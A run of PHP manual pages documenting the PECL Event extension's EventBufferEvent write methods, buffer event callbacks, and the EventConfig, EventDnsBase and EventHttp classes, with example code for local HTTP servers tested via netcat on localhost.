public bool EventBufferEvent::write ( string $data )

Adds data to a buffer event's output buffer

Parameters

data

Data to be added to the underlying buffer.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBufferEvent::writeBuffer() - Adds contents of the entire buffer to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


Adds contents of the entire buffer to a buffer event's output buffer

  • « EventBufferEvent::write
  • About buffer event callbacks »
  • PHP Manual
  • EventBufferEvent
  • Adds contents of the entire buffer to a buffer event's output buffer

EventBufferEvent::writeBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer

Description

public bool EventBufferEvent::writeBuffer ( EventBuffer $buf )

Adds contents of the entire buffer to a buffer event's output buffer

Parameters

buf

Source EventBuffer object.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBufferEvent::write() - Adds data to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


About buffer event callbacks

An object of EventBufferEvent class represents a buffer event . The asynchronous nature of I/O performed by Libevent implies that a socket(or other kind of file descriptor) is not always available. Event invokes corresponding callbacks when the resource becomes available for reading or writing, or when some event occurs(e.g. error, "end of line" etc.).

Read and write callbacks should match the following prototype:

void callback ([ EventBufferEvent $bev = NULL [, mixed $arg = NULL ]] )

bev

Associated EventBufferEvent object.

arg

Custom variable attached to all callbacks via EventBufferEvent::__construct() , or EventBufferEvent::setCallbacks() .

Event callback should match the following prototype:

void callback ([ EventBufferEvent $bev = NULL [, int $events = 0 [, mixed $arg = NULL ]]] )

bev

Associated EventBufferEvent object.

events

Bit mask of events: EventBufferEvent::READING , EventBufferEvent::WRITING , EventBufferEvent::EOL , EventBufferEvent::ERROR and EventBufferEvent::TIMEOUT . See EventBufferEvent constants

arg

Custom variable attached to all callbacks via EventBufferEvent::__construct() , or EventBufferEvent::setCallbacks() .

User Contributed Notes

There are no user contributed notes for this page.


The EventConfig class

(PECL event >= 1.2.6-beta)

Introduction

Represents configuration structure which could be used in construction of the EventBase .

Class synopsis

final EventConfig {
/* Constants */
const integer FEATURE_ET = 1 ;
const integer FEATURE_O1 = 2 ;
const integer FEATURE_FDS = 4 ;
/* Methods */
public bool avoidMethod ( int $method )
public __construct ( void )
public bool requireFeatures ( int $feature )
public void setMaxDispatchInterval ( int $max_interval , int $max_callbacks , int $min_priority )
}

Predefined Constants

EventConfig::FEATURE_ET

Requires a backend method that supports edge-triggered I/O.

EventConfig::FEATURE_O1

Requires a backend method where adding or deleting a single event, or having a single event become active, is an O(1) operation.

EventConfig::FEATURE_FDS

Requires a backend method that can support arbitrary file descriptor types, and not just sockets.

Table of Contents

  • EventConfig::avoidMethod — Tells libevent to avoid specific event method
  • EventConfig::__construct — Constructs EventConfig object
  • EventConfig::requireFeatures — Enters a required event method feature that the application demands
  • EventConfig::setMaxDispatchInterval — Prevents priority inversion

User Contributed Notes

There are no user contributed notes for this page.


Tells libevent to avoid specific event method

  • « EventConfig
  • EventConfig::__construct »
  • PHP Manual
  • EventConfig
  • Tells libevent to avoid specific event method

EventConfig::avoidMethod

(PECL event >= 1.2.6-beta)

EventConfig::avoidMethod — Tells libevent to avoid specific event method

Description

public bool EventConfig::avoidMethod ( int $method )

Tells libevent to avoid specific event method(backend). See » Creating an event base .

Parameters

method

The backend method to avoid. See EventConfig constants .

Return Values

Returns TRUE on success, otherwise FALSE.

Examples

Example #1 EventConfig::avoidMethod() example

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}
?>

See Also

  • EventBase::__construct() - Constructs EventBase object

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventConfig object

  • « EventConfig::avoidMethod
  • EventConfig::requireFeatures »
  • PHP Manual
  • EventConfig
  • Constructs EventConfig object

EventConfig::__construct

(PECL event >= 1.2.6-beta)

EventConfig::__construct — Constructs EventConfig object

Description

public EventConfig::__construct ( void )

Constructs EventConfig object which could be passed to EventBase::__construct() constructor.

Parameters

This function has no parameters.

Return Values

Returns EventConfig object.

Examples

Example #1 EventConfig::__construct() example

<?php
// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);

/* Now $base is configured to avoid select backend(method) */
?>

See Also

  • EventBase::__construct() - Constructs EventBase object

User Contributed Notes

There are no user contributed notes for this page.


Enters a required event method feature that the application demands

  • « EventConfig::__construct
  • EventConfig::setMaxDispatchInterval »
  • PHP Manual
  • EventConfig
  • Enters a required event method feature that the application demands

EventConfig::requireFeatures

(PECL event >= 1.2.6-beta)

EventConfig::requireFeatures — Enters a required event method feature that the application demands

Description

public bool EventConfig::requireFeatures ( int $feature )

Enters a required event method feature that the application demands

Parameters

feature

Bitmask of required features. See EventConfig::FEATURE_* constants

Return Values

Examples

Example #1 EventConfig::requireFeatures() example

<?php
$cfg = new EventConfig();

// Create event_base associated with the config
$base = new EventBase($cfg);

// Require FDS feature
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
    echo "FDS feature is now requried\n";

    $base = new EventBase($cfg);
    ($base->getFeatures() & EventConfig::FEATURE_FDS)
        and print("FDS - arbitrary file descriptor types, and not just sockets\n");
}
?>

The above example will output something similar to:

FDS feature is now requried
FDS - arbitrary file descriptor types, and not just sockets

See Also

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


Prevents priority inversion

  • « EventConfig::requireFeatures
  • EventDnsBase »
  • PHP Manual
  • EventConfig
  • Prevents priority inversion

EventConfig::setMaxDispatchInterval

(No version information available, might only be in Git)

EventConfig::setMaxDispatchInterval — Prevents priority inversion

Description

public void EventConfig::setMaxDispatchInterval ( int $max_interval , int $max_callbacks , int $min_priority )

Prevents priority inversion by limiting how many low-priority event callbacks can be invoked before checking for more high-priority events.

Note:

Available since libevent 2.1.0-alpha .

Parameters

max_interval

An interval after which Libevent should stop running callbacks and check for more events, or 0 , if there should be no such interval.

max_callbacks

A number of callbacks after which Libevent should stop running callbacks and check for more events, or -1 , if there should be no such limit.

min_priority

A priority below which max_interval and max_callbacks should not be enforced. If this is set to 0 , they are enforced for events of every priority; if it's set to 1 , they're enforced for events of priority 1 and above, and so on.

Return Values

Returns TRUE on success, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The EventDnsBase class

(PECL event >= 1.2.6-beta)

Introduction

Represents Libevent's DNS base structure. Used to resolve DNS asyncronously, parse configuration files like resolv.conf etc.

Class synopsis

final EventDnsBase {
/* Constants */
const integer OPTION_SEARCH = 1 ;
const integer OPTION_NAMESERVERS = 2 ;
const integer OPTION_MISC = 4 ;
const integer OPTION_HOSTSFILE = 8 ;
const integer OPTIONS_ALL = 15 ;
/* Methods */
public bool addNameserverIp ( string $ip )
public void addSearch ( string $domain )
public void clearSearch ( void )
public __construct ( EventBase $base , bool $initialize )
public int countNameservers ( void )
public bool loadHosts ( string $hosts )
public bool parseResolvConf ( int $flags , string $filename )
public bool setOption ( string $option , string $value )
public bool setSearchNdots ( int $ndots )
}

Predefined Constants

EventDnsBase::OPTION_SEARCH

Tells to read the domain and search fields from the resolv.conf file and the ndots option, and use them to decide which domains(if any) to search for hostnames that aren’t fully-qualified.

EventDnsBase::OPTION_NAMESERVERS

Tells to learn the nameservers from the resolv.conf file.

EventDnsBase::OPTION_MISC

EventDnsBase::OPTION_HOSTSFILE

Tells to read a list of hosts from /etc/hosts as part of loading the resolv.conf file.

EventDnsBase::OPTIONS_ALL

Tells to learn as much as it can from the resolv.conf file.

Table of Contents

  • EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base
  • EventDnsBase::addSearch — Adds a domain to the list of search domains
  • EventDnsBase::clearSearch — Removes all current search suffixes
  • EventDnsBase::__construct — Constructs EventDnsBase object
  • EventDnsBase::countNameservers — Gets the number of configured nameservers
  • EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file
  • EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file
  • EventDnsBase::setOption — Set the value of a configuration option
  • EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches

User Contributed Notes

There are no user contributed notes for this page.


Adds a nameserver to the DNS base

  • « EventDnsBase
  • EventDnsBase::addSearch »
  • PHP Manual
  • EventDnsBase
  • Adds a nameserver to the DNS base

EventDnsBase::addNameserverIp

(PECL event >= 1.2.6-beta)

EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base

Description

public bool EventDnsBase::addNameserverIp ( string $ip )

Adds a nameserver to the evdns_base.

Parameters

ip

The nameserver string, either as an IPv4 address, an IPv6 address, an IPv4 address with a port ( IPv4:Port ), or an IPv6 address with a port ( [IPv6]:Port ).

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Adds a domain to the list of search domains

  • « EventDnsBase::addNameserverIp
  • EventDnsBase::clearSearch »
  • PHP Manual
  • EventDnsBase
  • Adds a domain to the list of search domains

EventDnsBase::addSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::addSearch — Adds a domain to the list of search domains

Description

public void EventDnsBase::addSearch ( string $domain )

Adds a domain to the list of search domains

Parameters

domain

Search domain.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Removes all current search suffixes

  • « EventDnsBase::addSearch
  • EventDnsBase::__construct »
  • PHP Manual
  • EventDnsBase
  • Removes all current search suffixes

EventDnsBase::clearSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::clearSearch — Removes all current search suffixes

Description

public void EventDnsBase::clearSearch ( void )

Removes all current search suffixes from the DNS base; the EventDnsBase::addSearch() function adds a suffix.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EventDnsBase::addSearch() - Adds a domain to the list of search domains

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventDnsBase object

  • « EventDnsBase::clearSearch
  • EventDnsBase::countNameservers »
  • PHP Manual
  • EventDnsBase
  • Constructs EventDnsBase object

EventDnsBase::__construct

(PECL event >= 1.2.6-beta)

EventDnsBase::__construct — Constructs EventDnsBase object

Description

public EventDnsBase::__construct ( EventBase $base , bool $initialize )

Constructs EventDnsBase object.

Parameters

base

Event base.

initialize

If the initialize argument is TRUE, it tries to configure the DNS base sensibly given your operating system’s default. Otherwise, it leaves the event DNS base empty, with no nameservers or options configured. In the latter case DNS base should be configured manually, e.g. with EventDnsBase::parseResolvConf() .

Return Values

Returns EventDnsBase object.

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of configured nameservers

  • « EventDnsBase::__construct
  • EventDnsBase::loadHosts »
  • PHP Manual
  • EventDnsBase
  • Gets the number of configured nameservers

EventDnsBase::countNameservers

(PECL event >= 1.2.6-beta)

EventDnsBase::countNameservers — Gets the number of configured nameservers

Description

public int EventDnsBase::countNameservers ( void )

Gets the number of configured nameservers

Parameters

This function has no parameters.

Return Values

Returns the number of configured nameservers(not necessarily the number of running nameservers). This is useful for double-checking whether our calls to the various nameserver configuration functions have been successful.

User Contributed Notes

There are no user contributed notes for this page.


Loads a hosts file (in the same format as /etc/hosts) from hosts file

  • « EventDnsBase::countNameservers
  • EventDnsBase::parseResolvConf »
  • PHP Manual
  • EventDnsBase
  • Loads a hosts file (in the same format as /etc/hosts) from hosts file

EventDnsBase::loadHosts

(PECL event >= 1.2.6-beta)

EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file

Description

public bool EventDnsBase::loadHosts ( string $hosts )

Loads a hosts file (in the same format as /etc/hosts ) from hosts file.

Parameters

hosts

Path to the hosts' file.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Scans the resolv.conf-formatted file

  • « EventDnsBase::loadHosts
  • EventDnsBase::setOption »
  • PHP Manual
  • EventDnsBase
  • Scans the resolv.conf-formatted file

EventDnsBase::parseResolvConf

(PECL event >= 1.2.6-beta)

EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file

Description

public bool EventDnsBase::parseResolvConf ( int $flags , string $filename )

Scans the resolv.conf-formatted file stored in filename, and read in all the options from it that are listed in flags

Parameters

flags

Determines what information is parsed from the resolv.conf file. See the man page for resolv.conf for the format of this file.

The following directives are not parsed from the file: sortlist, rotate, no-check-names, inet6, debug .

If this function encounters an error, the possible return values are:

  • 1 = failed to open file
  • 2 = failed to stat file
  • 3 = file too large
  • 4 = out of memory
  • 5 = short read from file
  • 6 = no nameservers listed in the file

filename

Path to resolv.conf file.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Set the value of a configuration option

  • « EventDnsBase::parseResolvConf
  • EventDnsBase::setSearchNdots »
  • PHP Manual
  • EventDnsBase
  • Set the value of a configuration option

EventDnsBase::setOption

(PECL event >= 1.2.6-beta)

EventDnsBase::setOption — Set the value of a configuration option

Description

public bool EventDnsBase::setOption ( string $option , string $value )

Set the value of a configuration option.

Parameters

option

The currently available configuration options are: "ndots" , "timeout" , "max-timeouts" , "max-inflight" , and "attempts" .

value

Option value.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Set the 'ndots' parameter for searches

  • « EventDnsBase::setOption
  • EventHttp »
  • PHP Manual
  • EventDnsBase
  • Set the 'ndots' parameter for searches

EventDnsBase::setSearchNdots

(PECL event >= 1.2.6-beta)

EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches

Description

public bool EventDnsBase::setSearchNdots ( int $ndots )

Set the 'ndots' parameter for searches. Sets the number of dots which, when found in a name, causes the first query to be without any search domain.

Parameters

ndots

The number of dots.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The EventHttp class

(PECL event >= 1.4.0-beta)

Introduction

Represents HTTP server.

Class synopsis

final EventHttp {
/* Methods */
public bool accept ( mixed $socket )
public bool addServerAlias ( string $alias )
public void bind ( string $address , int $port )
public __construct ( EventBase $base [, EventSslContext $ctx = NULL ] )
public bool removeServerAlias ( string $alias )
public void setAllowedMethods ( int $methods )
public void setCallback ( string $path , string $cb [, string $arg ] )
public void setDefaultCallback ( string $cb [, string $arg ] )
public void setMaxBodySize ( int $value )
public void setMaxHeadersSize ( int $value )
public void setTimeout ( int $value )
}

Table of Contents

  • EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource
  • EventHttp::addServerAlias — Adds a server alias to the HTTP server object
  • EventHttp::bind — Binds an HTTP server on the specified address and port
  • EventHttp::__construct — Constructs EventHttp object(the HTTP server)
  • EventHttp::removeServerAlias — Removes server alias
  • EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
  • EventHttp::setCallback — Sets a callback for specified URI
  • EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks
  • EventHttp::setMaxBodySize — Sets maximum request body size
  • EventHttp::setMaxHeadersSize — Sets maximum HTTP header size
  • EventHttp::setTimeout — Sets the timeout for an HTTP request

User Contributed Notes

There are no user contributed notes for this page.


Makes an HTTP server accept connections on the specified socket stream or resource

  • « EventHttp
  • EventHttp::addServerAlias »
  • PHP Manual
  • EventHttp
  • Makes an HTTP server accept connections on the specified socket stream or resource

EventHttp::accept

(PECL event >= 1.2.6-beta)

EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource

Description

public bool EventHttp::accept ( mixed $socket )

Makes an HTTP server accept connections on the specified socket stream or resource. The socket should be ready to accept connections.

Can be called multiple times to accept connections on different sockets.

Note:

To bind a socket, listen , and accept connections on the socket in s single call use EventHttp::bind() . EventHttp::accept() is needed only if one already has a socket ready to accept connections.

Parameters

socket

Socket resource, stream or numeric file descriptor representing a socket ready to accept connections.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventHttp::accept() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$addresses = array (
     8091 => "127.0.0.1",
     8092 => "127.0.0.2",
);
$i = 0;

$socket = array();

foreach ($addresses as $port => $ip) {
    echo $ip, " ", $port, PHP_EOL;
    $socket[$i] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!socket_bind($socket[$i], $ip, $port)) {
        exit("socket_bind failed\n");
    }
    socket_listen($socket[$i], 0);
    socket_set_nonblock($socket[$i]);

    if (!$http->accept($socket[$i])) {
        echo "Accept failed\n";
        exit(1);
    }

    ++$i;
}

$http->setCallback("/some-page", function() {
 echo "(some-page)\n";
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
    echo "OK\n";
});

$http->setDefaultCallback(function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
    echo "OK\n";
});

$signal = Event::signal($base, SIGINT, function () use ($base) {
    echo "Caught SIGINT. Stopping...\n";
    $base->stop();
});
$signal->add();

$base->dispatch();
echo "END\n";
// We didn't close sockets, since Libevent already sets
// CLOSE_ON_FREE and CLOSE_ON_EXEC flags on the file
// descriptor associated with the sockets.
?>

The above example will output something similar to:

Client:
$ nc 127.0.0.1 8091
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Server:
127.0.0.1 8091
127.0.0.2 8092
URI: /about
OK

See Also

  • EventHttp::bind() - Binds an HTTP server on the specified address and port

User Contributed Notes

There are no user contributed notes for this page.


Adds a server alias to the HTTP server object

  • « EventHttp::accept
  • EventHttp::bind »
  • PHP Manual
  • EventHttp
  • Adds a server alias to the HTTP server object

EventHttp::addServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::addServerAlias — Adds a server alias to the HTTP server object

Description

public bool EventHttp::addServerAlias ( string $alias )

Adds a server alias to the HTTP server object.

Parameters

alias

The alias to add.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventHttp::addServerAlias() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
    exit("bind(1) failed\n");
};

if (!$http->addServerAlias("local.net")) {
    exit("Failed to add server alias\n");
}

$http->setCallback("/about", function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
});
$base->dispatch();
?>

See Also

  • EventHttp::removeServerAlias() - Removes server alias

User Contributed Notes

There are no user contributed notes for this page.


Binds an HTTP server on the specified address and port

  • « EventHttp::addServerAlias
  • EventHttp::__construct »
  • PHP Manual
  • EventHttp
  • Binds an HTTP server on the specified address and port

EventHttp::bind

(PECL event >= 1.2.6-beta)

EventHttp::bind — Binds an HTTP server on the specified address and port

Description

public void EventHttp::bind ( string $address , int $port )

Binds an HTTP server on the specified address and port.

Can be called multiple times to bind the same HTTP server to multiple different ports.

Parameters

address

A string containing the IP address to listen(2) on.

port

The port number to listen on.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventHttp::bind() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
    exit("bind(1) failed\n");
};
if (!$http->bind("127.0.0.1", 8089)) {
    exit("bind(2) failed\n");
};

$http->setCallback("/about", function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
    echo "OK\n";
});

$base->dispatch();
?>

The above example will output something similar to:

Client:

$ nc 127.0.0.1 8088
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

$ nc 127.0.0.1 8089
GET /unknown HTTP/1.0
Connection: close

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Wed, 13 Mar 2013 04:14:41 GMT
Content-Length: 149
Connection: close

<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /unknown was not found on this server.</p></body></html>

Server:
URI: /about
OK

See Also

  • EventHttp::accept() - Makes an HTTP server accept connections on the specified socket stream or resource

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttp object(the HTTP server)

  • « EventHttp::bind
  • EventHttp::removeServerAlias »
  • PHP Manual
  • EventHttp
  • Constructs EventHttp object(the HTTP server)

EventHttp::__construct

(PECL event >= 1.2.6-beta)

EventHttp::__construct — Constructs EventHttp object(the HTTP server)

Description

public EventHttp::__construct ( EventBase $base [, EventSslContext $ctx = NULL ] )

Constructs the HTTP server object.

Parameters

base

Associated event base.

ctx

EventSslContext class object. Turns plain HTTP server into HTTPS server. It means that if ctx is configured correctly, then the underlying buffer events will be based on OpenSSL sockets. Thus, all traffic will pass through the SSL or TLS.

Note:

This parameter is available only if Event is compiled with OpenSSL support and only with Libevent 2.1.0-alpha and higher.

Return Values

Returns EventHttp object.

Changelog

Version | Description
1.9.0 | OpenSSL support (ctx) added.

Examples

Example #1 Simple HTTP server

<?php
/*
 * Simple HTTP server.
 *
 * To test it:
 * 1) Run it on a port of your choice, e.g.:
 * $ php examples/http.php 8010
 * 2) In another terminal connect to some address on this port
 * and make GET or POST request(others are turned off here), e.g.:
 * $ nc -t 127.0.0.1 8010
 * POST /about HTTP/1.0
 * Content-Type: text/plain
 * Content-Length: 4
 * Connection: close
 * (press Enter)
 *
 * It will output
 * a=12
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * $ nc -t 127.0.0.1 8010
 * GET /dump HTTP/1.0
 * Content-Type: text/plain
 * Content-Encoding: UTF-8
 * Connection: close
 * (press Enter)
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 * (press Enter)
 *
 * $ nc -t 127.0.0.1 8010
 * GET /unknown HTTP/1.0
 * Connection: close
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * 3) See what the server outputs on the previous terminal window.
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 2;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    echo "\n >> Reading input buffer ...\n";
    $buf = $req->getInputBuffer();
    while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
        echo $s, PHP_EOL;
    }
    echo "No more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

The above example will output something similar to:

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

User Contributed Notes

There are no user contributed notes for this page.


Removes server alias

  • « EventHttp::__construct
  • EventHttp::setAllowedMethods »
  • PHP Manual
  • EventHttp
  • Removes server alias

EventHttp::removeServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::removeServerAlias — Removes server alias

Description

public bool EventHttp::removeServerAlias ( string $alias )

Removes server alias added with EventHttp::addServerAlias()

Parameters

alias

The alias to remove.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventHttp::addServerAlias() - Adds a server alias to the HTTP server object

User Contributed Notes

There are no user contributed notes for this page.


Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

  • « EventHttp::removeServerAlias
  • EventHttp::setCallback »
  • PHP Manual
  • EventHttp
  • Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

EventHttp::setAllowedMethods

(PECL event >= 1.4.0-beta)

EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

Description

public void EventHttp::setAllowedMethods ( int $methods )

Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

If not supported they will generate a "405 Method not allowed" response.

By default this includes the following methods: GET , POST , HEAD , PUT , DELETE . See EventHttpRequest::CMD_* constants.

Parameters

methods

A bit mask of EventHttpRequest::CMD_* constants .

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets a callback for specified URI

  • « EventHttp::setAllowedMethods
  • EventHttp::setDefaultCallback »
  • PHP Manual
  • EventHttp
  • Sets a callback for specified URI

EventHttp::setCallback

(PECL event >= 1.4.0-beta)

EventHttp::setCallback — Sets a callback for specified URI

Description

public void EventHttp::setCallback ( string $path , string $cb [, string $arg ] )

Sets a callback for specified URI.

Parameters

path

The path for which to invoke the callback.

cb

The callback callable that gets invoked on requested path . It should match the following prototype:

void callback ([ EventHttpRequest $req = NULL [, mixed $arg = NULL ]] )

req

EventHttpRequest object.

arg

Custom data.

arg

Custom data.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventHttp::setCallback() example

<?php
/*
 * Simple HTTP server.
 *
 * To test it:
 * 1) Run it on a port of your choice, e.g.:
 * $ php examples/http.php 8010
 * 2) In another terminal connect to some address on this port
 * and make GET or POST request(others are turned off here), e.g.:
 * $ nc -t 127.0.0.1 8010
 * POST /about HTTP/1.0
 * Content-Type: text/plain
 * Content-Length: 4
 * Connection: close
 * (press Enter)
 *
 * It will output
 * a=12
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * 3) See what the server outputs on the previous terminal window.
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 2;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    echo "\n >> Reading input buffer ...\n";
    $buf = $req->getInputBuffer();
    while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
        echo $s, PHP_EOL;
    }
    echo "No more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

The above example will output something similar to:

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

See Also

  • EventHttp::setDefaultCallback() - Sets default callback to handle requests that are not caught by specific callbacks

User Contributed Notes

There are no user contributed notes for this page.


Sets default callback to handle requests that are not caught by specific callbacks

  • « EventHttp::setCallback
  • EventHttp::setMaxBodySize »
  • PHP Manual
  • EventHttp
  • Sets default callback to handle requests that are not caught by specific callbacks

EventHttp::setDefaultCallback

(PECL event >= 1.4.0-beta)

EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks

Description

public void EventHttp::setDefaultCallback ( string $cb [, string $arg ] )

Sets default callback to handle requests that are not caught by specific callbacks

Parameters

cb

The callback callable . It should match the following prototype:

void callback ([ EventHttpRequest $req = NULL [, mixed $arg = NULL ]] )

req

EventHttpRequest object.

arg

Custom data.

arg

User custom data passed to the callback.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventHttp::setDefaultCallback() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
    exit("bind(1) failed\n");
};

$http->setDefaultCallback(function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
});

$base->dispatch();
?>

See Also

  • EventHttp::setCallback() - Sets a callback for specified URI

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum request body size

  • « EventHttp::setDefaultCallback
  • EventHttp::setMaxHeadersSize »
